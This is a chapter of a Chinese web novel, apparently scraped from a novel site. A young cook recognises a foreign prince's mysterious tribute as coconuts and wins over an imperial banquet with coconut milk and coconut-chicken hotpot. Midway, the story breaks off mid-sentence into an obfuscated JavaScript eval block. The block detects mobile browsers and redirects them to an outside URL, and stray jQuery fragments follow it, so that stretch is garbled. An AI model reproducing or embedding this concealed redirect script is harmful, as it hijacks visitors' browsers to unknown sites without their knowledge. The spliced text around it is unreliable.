蓝记的烧尾宴一经推出，就在天都士子间受到了追捧。


    尤其是席间那道蟹粉狮子头。


    以其绝佳的清雅卖相，和清爽鲜美的味道，荣登食客心头好的首位。


    蓝记酒楼的后厨弥漫着香浓的蟹粉香味，引来了左邻右舍的猫儿。


    个个趴在屋檐上蹲守，自发排成一队，憨态可掬。


    秋日里，做老鸭煲的次数越来越多。


    蓝锦拿白水煮了鸭脯子肉，架了梯子攀到屋顶前。


    拿棍子“啰啰”地敲着盆，把四面八方的猫儿都引了过来。


    谢令章踏进蓝记的后院，看到的就是这样一番滑稽的场景。


    冷天里头，她本是急出了一身薄汗，现下却是不敢催不敢碰。


    “锦娘，怎么跑到那里去了？你也学小秋一样顽皮，把自己当成酒钱那样的小狗了。”


    大公主不由自主地向前几步，担心往下走的蓝锦失足跌了下来。


    “不碍事的，这梯子稳得很，我常踩着它上屋顶晒干货。”


    蓝锦单手抱着盆，手脚灵活地下了梯子，一步步走得很稳。


    到她落地的那一刻，大公主悬着的心总算放了下来。


    蓝锦搁下食盆，擦干净手，笑道：“殿下来找我，可是有事？”


    “真是有桩极紧要的事，要辛劳锦娘陪我走上一趟。事出紧急，我们路上边走边说。”


    马车一路驶进了西洲园。


    此处乃是皇家园林，历来只做高规格的外事接待和大型宴飨。


    寻常百姓难得一见，更别提置身其中当座上宾了。


    时值深秋，冷彻的寒意打在人的臂膀上，凉飕飕的。


    一路行来，恰逢掌灯时分，往来宫人逐一点上宫灯。


    远看，一片萤火跳跃微微，但照不亮大片的山石林木。


    暮色昏沉的园林，隐隐透着一阵肃穆之气。


    临湖的西暖阁，偶有宴饮丝竹声音传出。


    蓝锦远远瞧见了暖阁里的金线织锦地毯，悄声询问谢令章：


    “殿下，确定是要我来这里做菜吗？”


    谢令章回以一个郑重的点头：


    “锦娘，满天都恐怕也唯有你能行了。”


    今日西洲园的宴席，原是为着招待罗斛国的来使。


    席间的菜肴排场甚大，无一不精致。


    可也是含着金汤匙出生的罗斛国王子，却屡屡露出遗憾的神色来。


    圣人好奇垂询，却见人家不卑不亢：


    “此物虽美，借一句汉话来说，却叫我愈发想念我的家乡啊！”


    这是翻译把王子的话润色、包装之后，尽可能用婉转的话语说出来的。


    圣人听不得这个，心里立时不大爽利。


    有好事的宗室站出来提议：


    “不如叫贵使指定一道家乡菜色，我们天都的御厨，也能做得有模有样，准保让王子乐不思蜀。”


    谁料罗斛国王子激动得一拍大腿，仿佛就是为了等这句话。


    “我们此来，正是为了献上敝国至尊食物。贵国四处都是学识渊博的能人异士，一定能把它做成伟大的菜色！”


    方才因为便宜哥哥对使节的呛声，而沾沾自喜的圣人，此刻心里也暗暗打鼓。


    无他，只因献上来的这个小玩意，闻所未闻，见所未见。


    硕大的藤编筐里，放满了圆滚滚、石头一般的不明物。


    形态新奇，表面一层黑褐色的粗硬毛刺。


    摸起来沉甸甸的，中心似有异响。


    满座宾客，从宗室贵族，到王公大臣。


    再到特意传来的御医、御厨，都不能破解此物为何。


    翰林院已经有官员告罪离席，说要回值房详查经籍，找出关于此物的记载。


    “回圣上，此物可能为一种木头。”


    “圣上，此物恐怕不合于阴阳之道，于身体无益，赏之比食之更妙。”


    就在这样硬给的台阶里，圣人勉强没把自己的脸面当场扔掉。


    宴席摇摇欲坠地进行了下去，可是罗斛国使节的脸色越发得意洋洋。


    他们的王子还自得地感叹：


    “往日只听说，天都是天上地下绝无仅有的美食之都，如今看来，此言不实，只怕夸张的成分多矣。”


    这句话，鸿胪寺的官员没给直译出来。


    但席间不少听得懂罗斛话的人，却是深觉冒犯。


    蓝锦走进席间的时候，宴席还在不尴不尬地进行。


    厅堂中央的罗斛异宝，也还没有撤下去，就那么大剌剌地堆在那里。


    打眼一瞧，蓝锦心里噗嗤一笑。


    这不就是原生态的椰子嘛！


    刚才听大公主描述，她就做此猜想。


    又觉不会这样幸运，真能喝上清冽香甜，爽口清新的椰子汁。


    此刻真的见到椰子——哪怕它未砍去纤维层，未经过处理，蓝锦还是喜出望外。


    谢令章见到蓝锦眼神，当下就知此事可成。


    朗声宣布：“蓝记酒肆蓝锦娘子，愿为罗斛贵使烹调菜肴，以慰家乡之思。”


    一时全场的目光都聚集到二人这里。


    不少胡子花白的老臣，暗中交换眼色，满脸都是不可置信。


    “这样年轻的女娘，真能识得此物？”


    “倘若搬起石头砸自己的脚，今日该如何收场啊。”


    “哎，你我还是谨言慎行，小心捱着吧。”


    圣人也是做此想法。


    毕竟，那些翻书箧的老学究们，直到此刻也还没有回来。


    “令章，莫要胡闹了。刚才匆匆离席，竟是为了此等小事。来，陪阿耶饮完此杯葡萄酿。”


    接连几次的立功，叫圣人也对大公主兴起几分慈父之情。


    有意回护，并不把她划归到可以随意顶罪的阵营。


    而那位罗斛王子，却在见到蓝锦的那一刻，就激动地低呼出口。


    却还想着他定要说家乡语言，不可失了使节颜面的信条。


    嘴皮翻动，跟鸿胪寺的翻译说了一大堆。


    “圣上，拉乌殿下说，这些异宝都交予这位女娘处理，不拘什么菜色，一定要她做。”


    圣人讶异极了。


    自打踏入殿门就目不斜视的蓝锦，偷偷瞥了眼旁边的座位。


    熟面孔中，除了为她捏着一把汗的萧仁禹，就是那位闯婚宴的异乡客。


    原来如此。


    饶是萧仁禹再紧张，此事也只能敲定了。


    满场只有蓝锦自己最轻松，依言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643605|171016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    领了椰子退下了。


    椰子竟有两种，一种青椰，一种老椰。


    蓝锦从容地砍去了外面的纤维层。


    青椰洁白质软，用刀很容易就削开了。


    椰汁清冽香甜，椰肉香果冻一样嫩滑甜糯，勺子一挖一个准，就像后世超市里最常见的水果椰青一般。


    老椰虽外壳坚硬，可头上也有三个凹坑。


    沿着壳身敲上一圈，寻到其中一个最软的洞。


    “噗”的一声戳进去，倒搁在碗盘上，淡乳色的椰汁就汩汩流了出来。


    砸开壳子，厚厚的椰肉白得像雪，浅淡却持久的椰香在空气中四处蔓延。


    收集起来的椰肉，磨碎之后，放到温水里揉搓。


    这里没有榨汁机，好在人力众多，用手工的方法代替，反倒更加香浓幼滑。


    一刻不停地揉搅，促进椰子中的油脂和蛋白质加速乳化。


    再裹进干净的细笼布里，反复多次，挤榨出椰奶。


    蓝锦反复品尝调味，加了糖和水，浓酽酽的椰奶就做好了。


    一杯杯洁白的椰奶，放在青玉盏中，叫侍从们送去了宾客们的面前。


    椰奶异香扑鼻，举起来轻轻一动，杯壁几乎坠上一层白痕。


    送入口中，浓烈的椰香在口中奔逸。


    椰子的丰厚油脂，叫这香气愈发醇厚绵长。


    深深吸上一口气，这种奶香味几乎叫人立时醉了。


    虽未曾谋面，却好像能想象出来那种阳光炽热的海边沙滩，椰林飘香。


    一杯浓郁的椰奶，新奇美味，在大家还没有反应过来的时候，就喝得干干净净。


    “居然比牛乳还要香美。”


    “刚才摸着，只觉粗野顽硬。未曾想到，中有金玉啊。古人所言极是，如今才知不可以貌取物。”


    “可惜，只是饮子，倒连菜肴都算不上。”


    在场的宾客都偷眼去瞧罗斛使团那边的反应。


    却见他们也一副未曾尝过的样子，个个惊喜地交头接耳。


    恰在此时，一份份圆咕隆咚的锅子送到了席上。


    清澈的汤底是纯粹的新鲜椰汁，刚从椰子里取出来的，没有添加一滴水。


    扑面而来的清香热气中，金黄的油脂和清甜的椰汁交缠错杂。


    不过几月龄的小鸡，鲜嫩雪白。


    一碟碟配菜鱼贯而入，切斩开的乳鸽，剔去细刺的鲈鱼片，弹嫩的手斩虾滑，打得薄薄的猪里脊片……


    还有翡翠白玉般的冬瓜片，爽口滑嫩的木耳，青黄娇嫩的竹笋片，绿油油的菊花脑，状似蜂窝的冻豆腐，雪白甜脆的藕片……


    蓝锦娓娓道来：“这是椰子鸡火锅。锅中的鸡肉已经熟透，蘸碟里放了香醋、小青柠和茱萸，配在一起吃，鲜美异常。”


    众人应声尝试。


    鸡肉软滑非常，鼓起来的肉块里，藏的都是丰沛腴美的汁液。


    咬下去的瞬间，鲜美的肉汁与甜醇的椰汁一齐在嘴里爆开。


    越嚼越醇香，几乎尝不出鸡肉的丝络，入嘴之后，立时化在口中。


    而那股清润的甜香，还萦绕周身，挥之不去。


    椰子的清甜，恰到好处地去除了鸡肉的腻口。


    “如今才知道什么是雅好天然！”